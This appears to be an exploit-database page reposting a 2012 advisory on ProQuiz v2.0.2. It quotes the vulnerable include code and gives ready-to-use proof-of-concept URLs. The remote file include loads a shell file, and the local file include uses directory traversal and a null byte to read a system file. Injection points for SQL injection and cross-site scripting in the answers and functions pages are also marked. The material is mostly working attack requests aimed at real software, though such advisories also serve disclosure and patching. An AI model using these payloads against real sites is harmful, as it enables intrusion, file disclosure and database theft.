Lucene search
K

ProQuiz v2.0.2 Multiple Vulnerabilities

🗓️ 12 Aug 2012 00:00:00Reported by L0n3ly-H34rTType 
zdt
 zdt
🔗 0day.today👁 27 Views

ProQuiz v2.0.2 Multiple Vulnerabilities. Remote File Include, Local File Include, Remote SQL Injection & Blind SQL Injection, Cross Site Scripting

Code
####################################################
### Exploit Title: ProQuiz v2.0.2 - Multiple Vulnerabilities
### Date: 18/7/2012
### Author: L0n3ly-H34rT
### My Site: http://se3c.blogspot.com/
### Contact: [email protected]
### Vendor Homepage: http://proquiz.softon.org/
### Software Link: http://code.google.com/p/proquiz/downloads/list
### Tested on: Linux/Windows
####################################################
 
1- Remote File Include :
 
* In File (my_account.php) in line 114 & 115 :
 
if($_GET['action']=='getpage' && !empty($_GET['page'])){
@include_once($_GET['page'].'.php');
 
* P.O.C :
 
First register and login in your panel and paste that's url e.g. :
 
http://127.0.0.1/full/my_account.php?action=getpage&page=http://127.0.0.1/shell.txt?
 
* Note :
 
Must be allow_url_include=On
 
-----------------------------------------------------------------------
 
2- Local File Include :
 
* In File (my_account.php) in line 114 & 115 :
 
if($_GET['action']=='getpage' && !empty($_GET['page'])){
@include_once($_GET['page'].'.php');
 
* P.O.C :
 
First register and login in your panel and paste that's url e.g. :
 
http://127.0.0.1/full/my_account.php?action=getpage&page=../../../../../../../../../../windows/win.ini%00.jpg
 
* Note :
 
Must be magic_quotes_gpc = Off
 
---------------------------------------------------------------------
 
3- Remote SQL Injection & Blind SQL Injection :
 
* In Two Files :
 
A- First ( answers.php ) in line 55 :
 
<?php echo $_GET['instid']; ?>
 
B- Second ( functions.php ) In :
 
$_POST['email']
 
$_POST['username']
 
* P.O.C :
 
A- First :
 
http://127.0.0.1/full/answers.php?action=answers&instid=[SQL]
 
B- Second :
 
About Email :
 
In URL:
 
http://127.0.0.1/full/functions.php?action=recoverpass
 
Inject Here In POST Method :
 
email=[SQL]
 
About Username :
 
In URL:
 
http://127.0.0.1/full/functions.php?action=edit_profile&type=username
 
Inject Here In POST Method :
 
username=[SQL]
 
-------------------------------------------------------------------------------------
 
4 - Cross Site Scripting :
 
e.g.: http://127.0.0.1/full/answers.php?action=answers&instid=[XSS]
 
-----------------------------------------------------------------------------------
 
# Greetz to my friendz
 
References:
 
http://se3c.blogspot.com/
http://code.google.com/p/proquiz/downloads/list



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation